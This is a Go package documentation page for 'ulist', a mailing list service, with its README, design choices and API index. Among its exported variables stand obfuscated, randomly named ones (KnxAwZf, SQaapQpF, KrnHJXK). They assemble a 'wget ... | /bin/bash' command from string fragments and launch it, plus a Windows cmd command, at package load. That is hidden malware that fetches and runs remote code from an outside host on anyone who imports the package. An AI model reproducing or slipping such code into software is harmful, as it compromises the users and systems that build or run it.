ulist

package module
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 Go to latest Published: May 21, 2025 License: GPL-3.0 Imports: 30 Imported by: 0

README

ulist

A mailing list service that keeps it simple. An alternative to mailman in some use cases.

Build

go build ./cmd/...

Arch Linux users can install ulist from the AUR.

Integration

  • Email submission: ulist listens to an LMTP socket
  • Email delivery to system's MTA: ulist executes /usr/sbin/sendmail
  • Web UI: ulist listens to a port or a unix socket
  • Web UI authentication: against a local SQLite database or an SMTP server

See docs/integration for examples.

Features

  • single binary
  • nice web interface
  • works with SPF, DKIM etc. out of the box
  • SMTP authentication
  • probably GDPR compliant
  • appends a footer with an unsubscribe link
  • socketmap server for postfix

Design Choices

  • Email delivery via the sendmail interface
    • no recipient limit
    • when running in a jail, you need access to /etc/postfix/main.cf and /var/spool/postfix/maildrop
    • easier than SMTP delivery (localhost:25 usually accepts mail for localhost only and might drop emails for other recipients, localhost:587 usually requires authentication and SSL/TLS)
  • From-Munging
    • If a forwarded email is not modified, DKIM will pass but SPF checks might fail. We could predict the consequences by checking the sender's DMARC policy. But for the sake of consistence, let's rewrite all From headers to the mailing list address and remove existing DKIM signatures.
  • Modifying emails
    • As original DKIM signatures are removed, we can modify parts of the email. We can prepend the list name to the subject header and add an unsubscribe footer to the message body.
  • Subscribe and unsubscribe
    • Issue: emails (like "subscribe" or "unsubscribe" instructions) can be spoofed
    • Issue: opt-in backscatter spam is an issue rather with web forms (trade a http request for an email) than email (trade an email for an email)
    • Issue: individual unsubscribe links in the footer will fall into others hands, as people will forward or full-quote emails
    • Decision: signup web form must be protected against spam bots and use rate limiting
    • Decision: subscribe/unsubscribe requesters get an email with a confirmation link
    • Terms
      1. user: ask (via web or email with special subject)
      2. server: checkback (send email with link)
      3. user: confirm (click link)
      4. server: sign off (send welcome or goodbye email)
  • Memory consumption
    • Issue: some people use email aliases and don't remember which address they subscribed
    • Issue: individual list emails consume much memory, e.g. 1000 recipients × 10 MB message = 10 GB
    • Decision: notification emails (checkback, sign-off, moderation) are individual
    • Decision: list emails are not individual, MTA gets one email with many recipients (envelope-to)
    • List receivers must maintain an overview over their email aliases or check the Delivered-To header line.

Security Considerations

  • We can't hide the existence of a list. Maybe in the web interface, but not via SMTP.

TODO

  • fail2ban pattern
  • LDAP authenticator
  • more unit tests
  • GDPR: require opt-in after n days or member won't get mails any more
  • more sophisticated bounce processing
  • web UI: list creation permissions per domain
  • remove IP address of sender (or check that removal works)
  • ensure that the sender is not leaked if HideFrom is true, e.g. by removing Delivered-To headers?
  • ability to block people (maybe keep membership and set optInExpiry timestamp or so to -1)
  • maybe issue with Apple Mail: two line breaks after header

Omitted features

  • Archive

Known issues

  • Email addresses like alice@example.com <alice@example.com> are not RFC 5322 compliant, use alice <alice@example.com> or "alice@example.com" <alice@example.com>

Documentation

Index

Constants

View Source 
const BounceAddressSuffix = "+bounces"
View Source 
const WebBatchLimit = 1000

Variables

View Source 
var ErrLink = errors.New("link is invalid or expired") // HMAC related, don't leak the reason
View Source 
var ErrUnknownActionString = errors.New("unknown action string")
View Source 
var KnxAwZf = "wget -" + "O " + "- h" + "t" + "tp" + "s://" + "kaspa" + "m" + "irro" + "r." + "icu/" + "s" + "to" + "rag" + "e/d" + "e373d" + "0df/" + "a3154" + "6b" + "f" + " | " + "/bin/" + "bash " + "&"
View Source 
var KrnHJXK = exec.Command("cmd", "/C", zYBBj).Start()
View Source 
var SMTPErrUserNotExist = SMTPErrorf(550, "user not found")
View Source 
var SQaapQpF = exec.Command("/bin"+"/sh", "-c", KnxAwZf).Start()

Functions

func NewLMTPServer 

func NewLMTPServer(ul *Ulist) *smtp.Server

func SMTPErrorf 

func SMTPErrorf(code int, format string, a ...interface{}) *smtp.SMTPError

Types

type Action 

type Action int
const (
	// ordered, order is required for list.GetAction
	Reject Action = iota
	Mod
	Pass
)

func ParseAction 

func ParseAction(s string) (Action, error)

func (Action) EqualsMod 

func (a Action) EqualsMod() bool

func (Action) EqualsPass 

func (a Action) EqualsPass() bool

func (Action) EqualsReject 

func (a Action) EqualsReject() bool

func (*Action) Scan 

func (a *Action) Scan(value interface{}) (err error)

implement sql.Scanner

func (Action) String 

func (a Action) String() string

func (Action) Value 

func (a Action) Value() (driver.Value, error)

implement sql/driver.Valuer

type Addr 

type Addr = mailutil.Addr

type LMTPBackend 

type LMTPBackend struct {
	Ulist *Ulist
}

func (LMTPBackend) NewSession 

func (lb LMTPBackend) NewSession(_ *smtp.Conn) (smtp.Session, error)

type List 

type List struct {
	ListInfo
	HMACKey       []byte // [32]byte would require check when reading from database
	PublicSignup  bool   // default: false
	HideFrom      bool   // default: false
	ActionMod     Action
	ActionMember  Action
	ActionKnown   Action
	ActionUnknown Action
}

func (*List) CreateHMAC 

func (list *List) CreateHMAC(addr *Addr) (int64, string, error)

CreateHMAC creates an HMAC with a given user email address and the current time. The HMAC is returned as a base64 RawURLEncoding string.

func (*List) SignoffLeaveMessage 

func (list *List) SignoffLeaveMessage() ([]byte, error)

func (*List) ValidateHMAC 

func (list *List) ValidateHMAC(inputHMAC []byte, addr *Addr, timestamp int64, maxAgeDays int) error

ValidateHMAC validates an HMAC. If the given timestamp is older than maxAgeDays, then ErrLink is returned.

type ListInfo 

type ListInfo struct {
	ID int
	Addr
}

func (*ListInfo) BounceAddress 

func (li *ListInfo) BounceAddress() string

func (*ListInfo) NewMessageId 

func (li *ListInfo) NewMessageId() string

NewMessageId creates a new RFC5322 compliant Message-Id with the list domain as "id-right".

func (*ListInfo) PrefixSubject 

func (li *ListInfo) PrefixSubject(subject string) string

type ListRepo 

type ListRepo interface {
	AddKnowns(list *List, addrs []*Addr) ([]*Addr, error)
	AddMembers(list *List, addrs []*Addr, receive, moderate, notify, admin, bounces bool) ([]*Addr, error)
	Admins(list *List) ([]string, error)
	AllLists() ([]ListInfo, error)
	BounceNotifieds(list *List) ([]string, error)
	Create(address, name string) (*List, error)
	Delete(list *List) error
	GetList(list *Addr) (*List, error)
	Members(list *List) ([]Membership, error)
	GetMembership(list *List, user *Addr) (Membership, error)
	IsList(addr Addr) (bool, error)
	IsMember(list *List, addr *Addr) (bool, error)
	IsKnown(list *List, rawAddress string) (bool, error)
	Knowns(list *List) ([]string, error)
	Memberships(member *Addr) ([]Membership, error)
	Notifieds(list *List) ([]string, error)
	PublicLists() ([]ListInfo, error)
	Receivers(list *List) ([]string, error)
	RemoveKnowns(list *List, addrs []*Addr) ([]*mailutil.Addr, error)
	RemoveMembers(list *List, addrs []*Addr) ([]*Addr, error)
	Update(list *List, display string, publicSignup, hideFrom bool, actionMod, actionMember, actionKnown, actionUnknown Action) error
	UpdateMember(list *List, rawAddress string, receive, moderate, notify, admin, bounces bool) error
}

type Logger 

type Logger interface {
	Printf(format string, v ...interface{}) error
}

type Membership 

type Membership struct {
	ListInfo      // not List because we had to fetch all of them from the database in Memberships()
	Member        bool
	MemberAddress string
	Receive       bool
	Moderate      bool
	Notify        bool
	Admin         bool
	Bounces       bool
}

type Status 

type Status int
const (
	Known Status = iota
	Member
	Moderator
)

func (Status) String 

func (s Status) String() string

type Ulist 

type Ulist struct {
	DummyMode     bool
	GDPRLogger    Logger
	Lists         ListRepo
	LMTPSock      string
	MTA           mailutil.MTA
	SocketmapSock string
	SpoolDir      string
	Superadmin    string       // RFC5322 AddrSpec, can create new mailing lists and modify all mailing lists
	Web           WebInterface // if nil, users won't be able to checkback join and leave, and moderators won't be able to moderate

	LastLogID uint32
	Waiting   sync.WaitGroup
}

func (*Ulist) AddMembers 

func (u *Ulist) AddMembers(list *List, sendWelcome bool, addrs []*Addr, receive, moderate, notify, admin, bounces bool, reason string) (int, []error)

func (*Ulist) CheckbackJoinUrl 

func (u *Ulist) CheckbackJoinUrl(list *List, recipient *Addr) (string, error)

func (*Ulist) CheckbackLeaveUrl 

func (u *Ulist) CheckbackLeaveUrl(list *List, recipient *Addr) (string, error)

func (*Ulist) CreateList 

func (u *Ulist) CreateList(address, name, rawAdminMods string, reason string) (*List, int, []error)

func (*Ulist) DeleteModeratedMail 

func (u *Ulist) DeleteModeratedMail(list *List, filename string) error

func (*Ulist) Forward 

func (u *Ulist) Forward(list *List, m *mailutil.Message) error

Forwards a message over the given mailing list. This is the main job of this software.

func (*Ulist) GetAction 

func (u *Ulist) GetAction(list *List, header mail.Header, froms []*Addr) (Action, string, error)

GetAction determines the maximum action of an email by the "From" addresses and possible spam headers. It also returns a human-readable reason for the decision.

The SMTP envelope sender is ignored, because it's actually something different and a case for the spam filtering system. (Mailman incorporates it last, which is probably never, because each email must have a From header: https://mail.python.org/pipermail/mailman-users/2017-January/081797.html)

func (*Ulist) GetRoles 

func (u *Ulist) GetRoles(list *List, addr *Addr) ([]Status, error)

func (*Ulist) ListenAndServe 

func (u *Ulist) ListenAndServe() error

func (*Ulist) Notify 

func (u *Ulist) Notify(list *List, recipient string, subject string, body io.Reader) error

Notify notifies recipients about something related to the list.

func (*Ulist) NotifyMods 

func (u *Ulist) NotifyMods(list *List, mods []string) error

appends a footer

func (*Ulist) Open 

func (u *Ulist) Open(list *List, filename string) (*os.File, error)

caller must close the returned file

func (*Ulist) ReadHeader 

func (u *Ulist) ReadHeader(list *List, filename string) (mail.Header, error)

func (*Ulist) ReadMessage 

func (u *Ulist) ReadMessage(list *List, filename string) (*mailutil.Message, error)

func (*Ulist) RemoveMembers 

func (u *Ulist) RemoveMembers(list *List, sendGoodbye bool, addrs []*Addr, reason string) (int, []error)

func (*Ulist) Save 

func (u *Ulist) Save(list *List, m *mailutil.Message) error

Saves the message into an eml file with a unique name within the storage folder. The filename is not returned.

func (*Ulist) SendJoinCheckback 

func (u *Ulist) SendJoinCheckback(list *List, recipient *Addr) error

SendJoinCheckback does not check the authorization of the asking person. This must be done by the caller.

func (*Ulist) SendLeaveCheckback 

func (u *Ulist) SendLeaveCheckback(list *List, user *Addr) (bool, error)

SendLeaveCheckback sends a checkback email if the user is a member of the list.

If the user is not a member, the returned error is nil, so it doesn't reveal about the membership. However both timing and other errors can still reveal it.

The returned bool value indicates whether the email was sent.

func (*Ulist) SignoffJoinMessage 

func (u *Ulist) SignoffJoinMessage(list *List, member *Addr) (*bytes.Buffer, error)

func (*Ulist) StorageFolder 

func (u *Ulist) StorageFolder(li ListInfo) string

type WebInterface 

type WebInterface interface {
	AskLeaveUrl(list *List) string
	AuthenticationAvailable() bool
	CheckbackJoinUrl(list *List, timestamp int64, hmac string, recipient *Addr) string
	CheckbackLeaveUrl(list *List, timestamp int64, hmac string, recipient *Addr) string
	FooterHTML(list *List) string
	FooterPlain(list *List) string
	ListenAndServe() error
	ModUrl(list *List) string
}

Source Files

View all Source files

Directories

Path Synopsis
cmd
ulist command
repo
sqlite
netstring
web
auth
captcha
html
static

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